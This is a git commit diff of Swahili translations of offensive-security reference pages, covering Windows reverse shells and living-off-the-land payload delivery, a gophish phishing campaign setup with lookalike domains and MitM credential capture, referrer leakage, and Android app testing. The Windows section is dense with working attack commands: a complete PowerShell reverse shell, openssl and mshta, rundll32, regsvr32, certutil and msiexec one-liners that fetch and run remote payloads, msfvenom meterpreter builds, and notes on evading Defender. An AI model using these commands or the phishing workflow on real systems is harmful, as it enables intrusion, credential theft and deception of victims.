Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi

This commit is contained in:
Translator 2025-02-04 18:49:50 +00:00
parent 8e6a82e43a
commit 9d785aa0e5
23 changed files with 579 additions and 579 deletions

View File

@ -4,8 +4,8 @@
## Lolbas
Ukurasa [lolbas-project.github.io](https://lolbas-project.github.io/) ni wa Windows kama [https://gtfobins.github.io/](https://gtfobins.github.io/) ni wa linux.\
Kwa wazi, **hakuna faili za SUID au ruhusa za sudo katika Windows**, lakini ni muhimu kujua **jinsi** baadhi ya **binaries** zinaweza kutumika (kuhujumiwa) kufanya aina fulani ya vitendo visivyotarajiwa kama **kutekeleza msimbo wa bahati nasibu.**
The page [lolbas-project.github.io](https://lolbas-project.github.io/) ni ya Windows kama [https://gtfobins.github.io/](https://gtfobins.github.io/) ni ya linux.\
Kwa wazi, **hakuna faili za SUID au ruhusa za sudo katika Windows**, lakini ni muhimu kujua **jinsi** baadhi ya **binaries** zinaweza kutumika (ku)fanya aina fulani za vitendo visivyotarajiwa kama **kutekeleza msimbo wa bahati nasibu.**
## NC
```bash
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat unaoweza kubebeka na salama**. Inafanya kazi kwenye mifumo ya Unix kama na Win32. Ikiwa na vipengele kama vile usimbuaji mzito, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na kuunganishwa tena mara kwa mara, sbd inatoa suluhisho la kubadilika kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka kwa usambazaji wa Kali Linux linaweza kutumika kama mbadala wa kuaminika wa Netcat.
**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat unaoweza kubebeka na salama**. Inafanya kazi kwenye mifumo ya Unix kama vile na Win32. Ikiwa na vipengele kama vile usimbuaji wenye nguvu, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na kuunganishwa tena mara kwa mara, sbd inatoa suluhisho la kubadilika kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka kwa usambazaji wa Kali Linux linaweza kutumika kama mbadala wa kuaminika wa Netcat.
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@ -60,13 +60,13 @@ lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket")
```
## OpenSSH
Mshambuliaji (Kali)
Attacker (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
Mtu aliyeathirika
Mtu waathirika
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -82,7 +82,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
Mchakato unaofanya wito wa mtandao: **powershell.exe**\
Payload imeandikwa kwenye diski: **HAPANA** (_angalau mahali popote ambapo ningeweza kupata kwa kutumia procmon !_ )
Payload imeandikwa kwenye diski: **HAPANA** (_angalau sio mahali popote nilipoweza kupata kwa kutumia procmon !_ )
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
@ -93,7 +93,7 @@ Malipo yaliyoandikwa kwenye diski: **WebDAV client local cache**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
**Pata maelezo zaidi kuhusu Powershell Shells tofauti mwishoni mwa hati hii**
**Pata maelezo zaidi kuhusu Shells tofauti za Powershell mwishoni mwa hati hii**
## Mshta
@ -113,7 +113,7 @@ mshta \\webdavserver\folder\payload.hta
```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
**Unaweza kupakua na kutekeleza kwa urahisi Koadic zombie ukitumia stager hta**
**Unaweza kupakua na kutekeleza kwa urahisi sana zombie ya Koadic ukitumia stager hta**
#### mfano wa hta
@ -161,7 +161,7 @@ msf exploit(windows/misc/hta_server) > exploit
```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```
**Imegunduliwa na mlinzi**
**Imegunduliwa na defender**
## **Rundll32**
@ -175,7 +175,7 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
**Imegunduliwa na mlinzi**
**Imegunduliwa na defender**
**Rundll32 - sct**
@ -219,12 +219,12 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
**Imegunduliwa na mlinzi**
**Imepatikana na mlinzi**
#### Regsvr32 -sct
[**Kutoka hapa**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
```markup
```html
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
@ -259,7 +259,7 @@ Pakua B64dll, ikode na uitekeleze.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
Pakua B64exe, ikode na uifanye kazi.
Pakua B64exe, ibadilishe na uifanye kazi.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
@ -298,7 +298,7 @@ Mshambuliaji
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```
Mtu aliyeathirika:
Victim:
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
@ -324,7 +324,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
```
**Haitambuliwi**
**Unaweza kupakua na kutekeleza kwa urahisi sana Koadic zombie ukitumia stager wmic**
**Unaweza kupakua na kutekeleza kwa urahisi Koadic zombie ukitumia stager wmic**
## Msbuild
@ -332,12 +332,12 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
Unaweza kutumia mbinu hii kupita vizuizi vya Application Whitelisting na vizuizi vya Powershell.exe. Kwa hivyo utaonyeshwa na PS shell.\
Pakua hii na uifanye: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
Unaweza kutumia mbinu hii kupita Application Whitelisting na vizuizi vya Powershell.exe. Kwa kuwa utapewa shell ya PS.\
Pakua hii na uitekeleze: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
```
**Haitagundulika**
**Haitagunduliwa**
## **CSC**
@ -347,7 +347,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe s
```
Unaweza kupakua shell ya msingi ya C# kutoka hapa: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Haijagundulika**
**Haitambuliwi**
## **Regasm/Regsvc**
@ -438,11 +438,11 @@ Anza msfconsole na rasilimali iliyoundwa:
```
msfconsole -r unicorn.rc
```
Anza seva ya wavuti inayotoa faili _powershell_attack.txt_ na uendeleze katika mwathirika:
Anza seva ya wavuti inayotoa faili _powershell_attack.txt_ na utekeleze katika mwathiriwa:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**Imepatikana kama msimbo mbaya**
**Imedhamini kama msimbo mbaya**
## Zaidi

View File

@ -10,7 +10,7 @@
3. Tumia **OSINT** ili **kupata barua pepe**.
2. Andaa mazingira
1. **Nunua domeni** ambayo utatumia kwa tathmini ya phishing
2. **Sanidi huduma ya barua pepe** inayohusiana na rekodi (SPF, DMARC, DKIM, rDNS)
2. **Sanidi huduma ya barua pepe** rekodi zinazohusiana (SPF, DMARC, DKIM, rDNS)
3. Sanidi VPS na **gophish**
3. Andaa kampeni
1. Andaa **kigezo cha barua pepe**
@ -21,15 +21,15 @@
### Mbinu za Mabadiliko ya Jina la Domeni
- **Neno muhimu**: Jina la domeni **linajumuisha** neno muhimu la **domeni la asili** (mfano, zelster.com-management.com).
- **Neno muhimu**: Jina la domeni **linajumuisha** neno muhimu la asili (mfano, zelster.com-management.com).
- **subdomain yenye hyphen**: Badilisha **dot kuwa hyphen** ya subdomain (mfano, www-zelster.com).
- **TLD Mpya**: Domeni sawa ikitumia **TLD mpya** (mfano, zelster.org)
- **Homoglyph**: In **badilisha** herufi katika jina la domeni kwa **herufi zinazofanana** (mfano, zelfser.com).
- **Mabadiliko:** In **badilisha herufi mbili** ndani ya jina la domeni (mfano, zelsetr.com).
- **Kuweka umoja/kuongeza wingi**: Ongeza au ondolea “s” mwishoni mwa jina la domeni (mfano, zeltsers.com).
- **Kuweka umoja/mengi**: Ongeza au ondolea “s” mwishoni mwa jina la domeni (mfano, zeltsers.com).
- **Kuondoa**: In **ondoa moja** ya herufi kutoka jina la domeni (mfano, zelser.com).
- **Kurudia:** In **rudia moja** ya herufi katika jina la domeni (mfano, zeltsser.com).
- **Badiliko**: Kama homoglyph lakini si ya siri sana. Inabadilisha moja ya herufi katika jina la domeni, labda kwa herufi iliyo karibu na herufi ya asili kwenye kibodi (mfano, zektser.com).
- **Badiliko**: Kama homoglyph lakini si wa siri sana. Inabadilisha moja ya herufi katika jina la domeni, labda kwa herufi iliyo karibu na herufi asilia kwenye kibodi (mfano, zektser.com).
- **Subdomained**: Ingiza **dot** ndani ya jina la domeni (mfano, ze.lster.com).
- **Kuingiza**: In **ingiza herufi** ndani ya jina la domeni (mfano, zerltser.com).
- **Dot iliyokosekana**: Ongeza TLD kwenye jina la domeni. (mfano, zelstercom.com)
@ -107,7 +107,7 @@ mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
```
**Mikakati ya barua**
**Usanidi wa barua pepe**
Anza kufunga: `apt-get install postfix`
@ -117,7 +117,7 @@ Kisha ongeza kikoa kwenye faili zifuatazo:
- **/etc/postfix/transport**
- **/etc/postfix/virtual_regexp**
**Badilisha pia thamani za mabadiliko yafuatayo ndani ya /etc/postfix/main.cf**
**Badilisha pia thamani za vigezo vifuatavyo ndani ya /etc/postfix/main.cf**
`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`
@ -133,7 +133,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
```
**Mipangilio ya Gophish**
Acha kuendesha gophish na hebu tuipange.\
Acha utekelezaji wa gophish na hebu tuipange.\
Badilisha `/opt/gophish/config.json` kuwa ifuatayo (zingatia matumizi ya https):
```bash
{
@ -229,7 +229,7 @@ Kumbuka kwamba hata kama unapaswa kusubiri wiki moja unaweza kumaliza kuunda kil
### Sanidi Rekodi ya Reverse DNS (rDNS)
Weka rekodi ya rDNS (PTR) inayotatua anwani ya IP ya VPS kwa jina la kikoa.
Weka rekodi ya rDNS (PTR) inayotatua anwani ya IP ya VPS hadi jina la kikoa.
### Rekodi ya Sender Policy Framework (SPF)
@ -255,7 +255,7 @@ v=DMARC1; p=none
Lazima **uweke DKIM kwa jina jipya la kikoa**. Ikiwa hujui ni nini rekodi ya DMARC [**soma ukurasa huu**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
Taaluma hii inategemea: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
Mafunzo haya yanategemea: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!NOTE]
> Unahitaji kuunganisha thamani zote mbili za B64 ambazo funguo za DKIM zinazalisha:
@ -272,7 +272,7 @@ Fikia tu ukurasa huo na tuma barua pepe kwa anwani wanayokupa:
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
Unaweza pia **kuangalia usanidi wako wa barua pepe** kwa kutuma barua pepe kwa `check-auth@verifier.port25.com` na **kusoma jibu** (kwa hili utahitaji **kufungua** bandari **25** na kuona jibu katika faili _/var/mail/root_ ikiwa utatuma barua pepe kama root).\
Angalia kwamba unapitisha majaribio yote:
Angalia kwamba unapita majaribio yote:
```bash
==========================================================
Summary of Results
@ -289,13 +289,13 @@ Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
### Kuondoa kutoka kwenye Orodha ya Spamhouse
### Kuondoa kutoka kwenye Spamhouse Blacklist
Ukurasa [www.mail-tester.com](https://www.mail-tester.com) unaweza kuonyesha ikiwa jina la kikoa chako linazuiwa na spamhouse. Unaweza kuomba jina la kikoa/IP yako kuondolewa kwenye: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
Ukurasa [www.mail-tester.com](https://www.mail-tester.com) unaweza kuonyesha ikiwa domain yako inazuia na spamhouse. Unaweza kuomba kuondolewa kwa domain/IP yako hapa: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Kuondoa kutoka kwenye Orodha ya Microsoft
### Kuondoa kutoka kwenye Microsoft Blacklist
Unaweza kuomba jina la kikoa/IP yako kuondolewa kwenye [https://sender.office.com/](https://sender.office.com).
Unaweza kuomba kuondolewa kwa domain/IP yako hapa [https://sender.office.com/](https://sender.office.com).
## Unda & Uzindue Kampeni ya GoPhish
@ -305,19 +305,19 @@ Ukurasa [www.mail-tester.com](https://www.mail-tester.com) unaweza kuonyesha iki
- Amua kutoka kwenye akaunti gani utaenda kutuma barua pepe za phishing. Mapendekezo: _noreply, support, servicedesk, salesforce..._
- Unaweza kuacha jina la mtumiaji na nenosiri kuwa tupu, lakini hakikisha umeangalia Ignore Certificate Errors
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!NOTE]
> Inapendekezwa kutumia kazi ya "**Send Test Email**" ili kujaribu kwamba kila kitu kinafanya kazi.\
> Ningependekeza **kutuma barua pepe za majaribio kwa anwani za barua za 10min** ili kuepuka kuorodheshwa kwenye orodha ya watu wasiohitajika wakati wa majaribio.
> Ningependekeza **kutuma barua pepe za majaribio kwa anwani za 10min mails** ili kuepuka kuorodheshwa kwenye orodha ya watu wabaya wakati wa majaribio.
### Kiolezo cha Barua Pepe
- Weka **jina la kutambulisha** kiolezo
- Kisha andika **kichwa** (hakuna kitu cha ajabu, ni kitu ambacho unaweza kutarajia kusoma katika barua pepe ya kawaida)
- Kisha andika **kichwa** (hakuna kitu cha ajabu, ni kitu ambacho ungeweza kutarajia kusoma katika barua pepe ya kawaida)
- Hakikisha umeangalia "**Add Tracking Image**"
- Andika **kiolezo cha barua pepe** (unaweza kutumia vigezo kama katika mfano ufuatao):
```markup
```html
<html>
<head>
<title></title>
@ -335,9 +335,9 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
Kumbuka kwamba **ili kuongeza uaminifu wa barua pepe**, inapendekezwa kutumia saini kutoka kwa barua pepe ya mteja. Mapendekezo:
Kumbuka kwamba **ili kuongeza uaminifu wa barua pepe**, inashauriwa kutumia saini kutoka kwa barua pepe ya mteja. Mapendekezo:
- Tuma barua pepe kwa **anwani isiyo na msingi** na uangalie kama jibu lina saini yoyote.
- Tuma barua pepe kwa **anwani isiyo na uwepo** na uangalie kama jibu lina saini yoyote.
- Tafuta **barua pepe za umma** kama info@ex.com au press@ex.com au public@ex.com na uwatume barua pepe na subiri jibu.
- Jaribu kuwasiliana na **barua pepe halali zilizogunduliwa** na subiri jibu.
@ -350,7 +350,7 @@ Kumbuka kwamba **ili kuongeza uaminifu wa barua pepe**, inapendekezwa kutumia sa
- Andika **jina**
- **Andika msimbo wa HTML** wa ukurasa wa wavuti. Kumbuka kwamba unaweza **kuagiza** kurasa za wavuti.
- Mark **Kamata Data Iliyowasilishwa** na **Kamata Nywila**
- Chagua **Kamata Data Iliyowasilishwa** na **Kamata Nywila**
- Weka **mwelekeo**
![](<../../images/image (826).png>)
@ -360,7 +360,7 @@ Kumbuka kwamba **ili kuongeza uaminifu wa barua pepe**, inapendekezwa kutumia sa
> Kumbuka kwamba ikiwa unahitaji **kutumia rasilimali za kudumu** kwa HTML (labda kurasa za CSS na JS) unaweza kuziokoa katika _**/opt/gophish/static/endpoint**_ na kisha uzifikie kutoka _**/static/\<filename>**_
> [!NOTE]
> Kwa mwelekeo unaweza **kuwapeleka watumiaji kwenye ukurasa halali wa wavuti** wa mwathirika, au kuwapeleka kwenye _/static/migration.html_ kwa mfano, weka **gari inayozunguka (**[**https://loading.io/**](https://loading.io)**) kwa sekunde 5 na kisha onyesha kwamba mchakato umekuwa na mafanikio**.
> Kwa mwelekeo unaweza **kuhamasisha watumiaji kwenye ukurasa halali wa wavuti** wa mwathirika, au kuwahamisha kwenye _/static/migration.html_ kwa mfano, weka **gari inayozunguka (**[**https://loading.io/**](https://loading.io)**) kwa sekunde 5 na kisha onyesha kwamba mchakato ulikuwa na mafanikio**.
### Watumiaji na Makundi
@ -378,13 +378,13 @@ Kumbuka kwamba **Wasifu wa Kutuma unaruhusu kutuma barua pepe ya majaribio kuona
![](<../../images/image (192).png>)
> [!NOTE]
> Ningependekeza **kutuma barua pepe za majaribio kwa anwani za barua pepe za 10min** ili kuepuka kuorodheshwa kwenye orodha za mblacklisted wakati wa kufanya majaribio.
> Ningependekeza **kutuma barua pepe za majaribio kwa anwani za barua pepe za 10min** ili kuepuka kuorodheshwa kwenye orodha ya mblacklist wakati wa kufanya majaribio.
Mara kila kitu kiko tayari, uzindue kampeni!
## Kloni ya Tovuti
Ikiwa kwa sababu yoyote unataka kunakili tovuti angalia ukurasa ufuatao:
Ikiwa kwa sababu yoyote unataka kunakili tovuti, angalia ukurasa ufuatao:
{{#ref}}
clone-a-website.md
@ -403,13 +403,13 @@ phishing-documents.md
### Kupitia Proxy MitM
Shambulio la awali ni la busara kwani unafanyia kazi tovuti halisi na kukusanya taarifa zilizowekwa na mtumiaji. Kwa bahati mbaya, ikiwa mtumiaji hakuweka nywila sahihi au ikiwa programu uliyofanya kazi nayo imewekwa na 2FA, **habari hii haitakuruhusu kujifanya kama mtumiaji aliyejipatia hila**.
Shambulio la awali ni la busara kwani unafanyia kazi tovuti halisi na kukusanya taarifa zilizowekwa na mtumiaji. Kwa bahati mbaya, ikiwa mtumiaji hakuweka nywila sahihi au ikiwa programu uliyofanya kazi nayo imewekwa na 2FA, **habari hii haitakuruhusu kujifanya kuwa mtumiaji aliyejipatia hila**.
Hapa ndipo zana kama [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) na [**muraena**](https://github.com/muraenateam/muraena) zinakuwa na manufaa. Zana hii itakuruhusu kuunda shambulio kama la MitM. Kimsingi, shambulio linafanya kazi kwa njia ifuatayo:
1. Unajifanya **fomu ya kuingia** ya ukurasa halisi.
2. Mtumiaji **anatumia** **taarifa zake** kwenye ukurasa wako wa uongo na zana inapeleka hizo kwenye ukurasa halisi, **ikikagua ikiwa taarifa hizo zinafanya kazi**.
3. Ikiwa akaunti imewekwa na **2FA**, ukurasa wa MitM utauliza kwa hiyo na mara **mtumiaji anapoweka** hiyo zana itapeleka kwenye ukurasa halisi.
1. Unajifanya kuwa fomu ya kuingia ya ukurasa halisi wa wavuti.
2. Mtumiaji **anatumia** **taarifa zake** kwenye ukurasa wako wa uongo na zana inatumia hizo kwenye ukurasa halisi wa wavuti, **ikikagua ikiwa taarifa hizo zinafanya kazi**.
3. Ikiwa akaunti imewekwa na **2FA**, ukurasa wa MitM utauliza kwa hiyo na mara **mtumiaji anapoweka** hiyo zana itatuma kwa ukurasa halisi wa wavuti.
4. Mara mtumiaji anapothibitishwa wewe (kama mshambuliaji) utakuwa **umechukua taarifa, 2FA, cookie na taarifa yoyote** ya kila mwingiliano wako wakati zana inafanya MitM.
### Kupitia VNC
@ -419,8 +419,8 @@ Unaweza kufanya hivi kwa kutumia [**EvilnVNC**](https://github.com/JoelGMSec/Evi
## Kugundua kugundua
Kwa wazi moja ya njia bora za kujua ikiwa umekamatwa ni **kutafuta kikoa chako ndani ya orodha za mblacklisted**. Ikiwa inajitokeza, kwa namna fulani kikoa chako kimegunduliwa kama cha mashaka.\
Njia rahisi ya kuangalia ikiwa kikoa chako kinajitokeza katika orodha yoyote ya mblacklisted ni kutumia [https://malwareworld.com/](https://malwareworld.com)
Kwa wazi moja ya njia bora za kujua ikiwa umekamatwa ni **kutafuta kikoa chako ndani ya orodha za mblacklist**. Ikiwa inajitokeza, kwa namna fulani kikoa chako kiligunduliwa kama cha mashaka.\
Njia rahisi ya kuangalia ikiwa kikoa chako kinajitokeza katika orodha yoyote ya mblacklist ni kutumia [https://malwareworld.com/](https://malwareworld.com)
Hata hivyo, kuna njia nyingine za kujua ikiwa mwathirika **anatafuta kwa nguvu shughuli za udukuzi za mashaka katika mazingira** kama ilivyoelezwa katika:
@ -428,11 +428,11 @@ Hata hivyo, kuna njia nyingine za kujua ikiwa mwathirika **anatafuta kwa nguvu s
detecting-phising.md
{{#endref}}
Unaweza **kununua kikoa chenye jina linalofanana sana** na kikoa cha mwathirika **na/au kuunda cheti** kwa **subdomain** ya kikoa kinachodhibitiwa na wewe **kilichokuwa** na **neno muhimu** la kikoa cha mwathirika. Ikiwa **mwathirika** atafanya aina yoyote ya **maingiliano ya DNS au HTTP** nao, utajua kwamba **anatafuta kwa nguvu** kikoa cha mashaka na utahitaji kuwa na uangalifu mkubwa.
Unaweza **kununua kikoa chenye jina linalofanana sana** na kikoa cha mwathirika **na/au kuunda cheti** kwa **subdomain** ya kikoa kinachodhibitiwa na wewe **kilichokuwa** na **neno muhimu** la kikoa cha mwathirika. Ikiwa **mwathirika** atafanya aina yoyote ya **maingiliano ya DNS au HTTP** nao, utajua kwamba **anatafuta kwa nguvu** kikoa cha mashaka na itabidi uwe na uangalifu mkubwa.
### Kadiria udukuzi
Tumia [**Phishious** ](https://github.com/Rices/Phishious)kadiria ikiwa barua pepe yako itakwenda kwenye folda ya spam au ikiwa itazuiwa au kufanikiwa.
Tumia [**Phishious** ](https://github.com/Rices/Phishious)kadiria ikiwa barua pepe yako itamalizika kwenye folda ya spam au ikiwa itazuiwa au kufanikiwa.
## Marejeleo

View File

@ -2,7 +2,7 @@
# Referrer headers and policy
Referrer ni kichwa kinachotumiwa na vivinjari kuonyesha ni ipi ilikuwa ukurasa wa awali ulitembelewa.
Referrer ni kichwa kinachotumiwa na vivinjari kuonyesha ni ukurasa gani wa awali ulitembelewa.
## Taarifa nyeti zilizovuja
@ -24,12 +24,12 @@ Referrer-Policy: unsafe-url
## Counter-Mitigation
Unaweza kubadilisha sheria hii kwa kutumia tag ya meta ya HTML (mshambuliaji anahitaji kutumia na kuingiza HTML):
```markup
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```
## Ulinzi
Kamwe usiweke data nyeti ndani ya vigezo vya GET au njia katika URL.
Kamwe usiweke data nyeti ndani ya vigezo vya GET au njia katika URL.
{{#include ./banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Misingi ya Programu za Android
## Msingi wa Programu za Android
Inapendekezwa sana kuanza kusoma ukurasa huu ili kujua kuhusu **sehemu muhimu zaidi zinazohusiana na usalama wa Android na vipengele hatari zaidi katika programu ya Android**:
@ -13,14 +13,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Hii ni zana kuu unayohitaji kuungana na kifaa cha android (kilichosimuliwa au halisi).\
**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Mtandao** kutoka kwa kompyuta. Zana hii inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala** ya data, **kusoma** kumbukumbu, kati ya kazi nyingine.
**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Network** kutoka kwa kompyuta. Hii utility inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala** ya data, **kusoma** logi, kati ya kazi nyingine.
Angalia orodha ifuatayo ya [**ADB Commands**](adb-commands.md) kujifunza jinsi ya kutumia adb.
## Smali
Wakati mwingine ni muhimu **kubadilisha msimbo wa programu** ili kufikia **habari zilizofichwa** (labda nywila au bendera zilizofichwa vizuri). Hivyo, inaweza kuwa ya kuvutia decompile apk, kubadilisha msimbo na kuirekebisha.\
[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala wa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambao utawasilishwa. Hivyo, **weka daima katika akili uwezekano huu**.
Wakati mwingine ni ya kuvutia **kubadilisha msimbo wa programu** ili kufikia **habari zilizofichwa** (labda nywila au bendera zilizofichwa vizuri). Basi, inaweza kuwa ya kuvutia decompile apk, kubadilisha msimbo na kuirekebisha.\
[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala wa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambao utawasilishwa. Basi, **weka daima katika akili uwezekano huu**.
## Njia nyingine za kuvutia
@ -64,11 +64,11 @@ Tazama kwa makini **firebase URLs** na angalia kama imewekwa vibaya. [Taarifa za
**Udhaifu** ulioainishwa kutoka kwa **Manifest.xml** ni pamoja na:
- **Programu zinazoweza kudhibitiwa**: Programu zilizowekwa kama zinazoweza kudhibitiwa (`debuggable="true"`) katika faili ya _Manifest.xml_ zina hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha matumizi mabaya. Kwa ufahamu zaidi kuhusu jinsi ya kutumia programu zinazoweza kudhibitiwa, rejelea mafunzo juu ya kutafuta na kutumia programu zinazoweza kudhibitiwa kwenye kifaa.
- **Programu zinazoweza kufanyiwa uchambuzi**: Programu zilizowekwa kama debuggable (`debuggable="true"`) katika faili la _Manifest.xml_ zina hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha matumizi mabaya. Kwa ufahamu zaidi kuhusu jinsi ya kutumia programu zinazoweza kufanyiwa uchambuzi, rejelea mafunzo juu ya kutafuta na kutumia programu zinazoweza kufanyiwa uchambuzi kwenye kifaa.
- **Mipangilio ya Nakala**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulika na taarifa nyeti ili kuzuia nakala zisizoidhinishwa kupitia adb, hasa wakati ufuatiliaji wa usb umewezeshwa.
- **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya kawaida (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pini za cheti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa maeneo maalum.
